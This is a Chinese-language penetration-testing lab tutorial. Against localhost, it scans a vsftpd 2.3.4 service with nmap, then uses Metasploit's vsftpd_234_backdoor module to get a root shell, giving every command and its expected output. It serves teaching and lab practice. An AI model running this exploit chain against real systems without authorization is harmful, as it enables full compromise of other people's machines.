引言
在本实验中,你将扮演一名渗透测试人员,学习如何使用 Metasploit Framework 来利用一个常见服务中已知的漏洞。具体来说,你将以 vsftpd (Very Secure FTP Daemon) 2.3.4 版本为目标,该版本包含一个著名的后门。
Metasploit 是一个强大的开源渗透测试框架,它能简化黑客攻击的过程。它是安全专业人员必备的工具。你将遵循标准的渗透测试流程:扫描目标以识别服务,找到合适的漏洞利用模块(exploit),配置它,然后发起攻击以获得目标系统的控制权。在本实验中,你的目标机器将是本地环境 (localhost)。
识别易受攻击的 vsftpd 服务
在本步骤中,你将执行侦察(reconnaissance),这是任何渗透测试的第一阶段。目标是扫描目标以发现开放的端口并识别运行在这些端口上的服务的版本。此信息对于发现潜在漏洞至关重要。我们将为此目的使用 nmap,一个强大的网络扫描工具。
首先,打开一个终端。我们将扫描本地机器,它充当目标。本地机器的 IP 地址是 127.0.0.1。
执行以下 nmap 命令对目标执行服务版本扫描 (-sV):
nmap -sV 127.0.0.1
扫描完成后,nmap 将报告开放的端口以及它识别出的服务。在本实验中,我们对运行在端口 21 上的 FTP 服务感兴趣。
你的输出应该与此类似。请注意 FTP 服务版本信息。
Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds
输出清晰地显示 vsftpd 2.3.4 运行在端口 21 上。这个特定版本众所周知包含一个后门,使其成为我们漏洞利用的理想目标。
选择 vsftpd_234_backdoor 漏洞利用模块
在本步骤中,你将启动 Metasploit Framework 并找到攻击 vsftpd 2.3.4 服务的正确漏洞利用模块。
首先,启动 Metasploit 控制台。我们使用 -q (quiet) 标志来跳过启动横幅,从而更快地启动。
msfconsole -q
Metasploit 加载后,你将看到 msf6 > 提示符。现在,你可以搜索与 vsftpd 相关的漏洞利用模块。使用 search 命令:
search vsftpd
Metasploit 将显示匹配模块的列表。你应该会看到一个专门针对 vsftpd 2.3.4 中后门的漏洞利用模块。
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
exploit/unix/ftp/vsftpd_234_backdoor 模块正是我们需要的。它的等级是 "excellent"(优秀),这意味着它非常可靠。要加载此模块,请使用 use 命令,后跟模块的完整名称或搜索结果中的编号。
use exploit/unix/ftp/vsftpd_234_backdoor
运行该命令后,你的提示符将变为 msf6 exploit(unix/ftp/vsftpd_234_backdoor) >,这表明漏洞利用模块现已激活。
将 RHOSTS 选项设置为目标 IP 地址
在本步骤中,你将配置漏洞利用模块。大多数模块都需要你设置选项,例如目标的 IP 地址。
加载 vsftpd_234_backdoor 模块后,你可以使用 show options 命令查看其选项。
show options
此命令将显示此模块所有可用选项的表格,包括它们的当前设置以及是否为必填项。
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
如你所见,RHOSTS(远程主机)是必填项,但尚未设置值。你需要将其设置为我们目标机器的 IP 地址,即 127.0.0.1。
使用 set 命令配置 RHOSTS 选项:
set RHOSTS 127.0.0.1
要确认选项已正确设置,你可以再次运行 show options。你将看到 RHOSTS 现在的值为 127.0.0.1。
使用 check 命令验证目标是否易受攻击
在本步骤中,你将使用一种安全的方式来测试目标是否确实易受所选漏洞利用模块的攻击。Metasploit 为许多模块提供了 check 命令,该命令允许你在不发起完整攻击的情况下验证漏洞。这对于避免被检测和系统崩溃非常有用。
现在漏洞利用模块已配置好目标 IP 地址,只需运行 check 命令:
check
Metasploit 将尝试探测目标服务以确定后门是否存在。如果目标易受攻击,你将看到一条确认消息。
[+] 127.0.0.1:21 - The target is vulnerable.
消息 [+] The target is vulnerable. 确认了 127.0.0.1 上的 vsftpd 服务存在后门。你现在已准备好发起漏洞利用。如果目标不易受攻击,通常会报告目标不可利用。
执行漏洞利用并获得命令 Shell
在本步骤中,你将执行漏洞利用以获得对目标系统的未经授权访问。由于 check 命令已确认目标易受攻击,漏洞利用应该会成功。
启动攻击的命令是 exploit。你也可以使用它的别名 run。
exploit
Metasploit 现在将把恶意 payload 发送到 vsftpd 服务。后门将被触发,并在一个不同的端口(本例中为 6200 端口)上打开一个命令 Shell。Metasploit 将连接到这个新的 Shell,让你直接访问目标系统的命令行。
输出将如下所示:
[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400
你现在拥有了目标机器上的命令 Shell!请注意提示符已消失。你现在可以像直接登录到目标系统一样执行命令。让我们通过运行 whoami 命令来验证我们的访问级别。
whoami
输出应为:
root
这证实你已获得 root Shell,从而完全控制了目标系统。要退出 Shell 并返回 Metasploit 提示符,请键入 exit。
总结
恭喜你成功完成了本次实验!你已经学习了使用 Metasploit Framework 进行渗透测试的基本工作流程。
在本次实验中,你:
- 使用
nmap执行侦察,并识别出易受攻击的vsftpd 2.3.4服务。 - 启动了 Metasploit 控制台并搜索了相关的漏洞利用模块。
- 通过设置
RHOSTS选项,选择了并配置了vsftpd_234_backdoor漏洞利用模块。 - 使用
check命令安全地验证了目标的易受攻击性。 - 执行了
exploit命令,在目标系统上获得了 root 级别的命令 Shell。
这个练习展示了一个简单、未打补丁的漏洞如何导致整个系统被攻陷。它强调了保持软件更新的重要性,以及 Metasploit 等工具对于道德黑客和恶意攻击者来说都具有的强大能力。


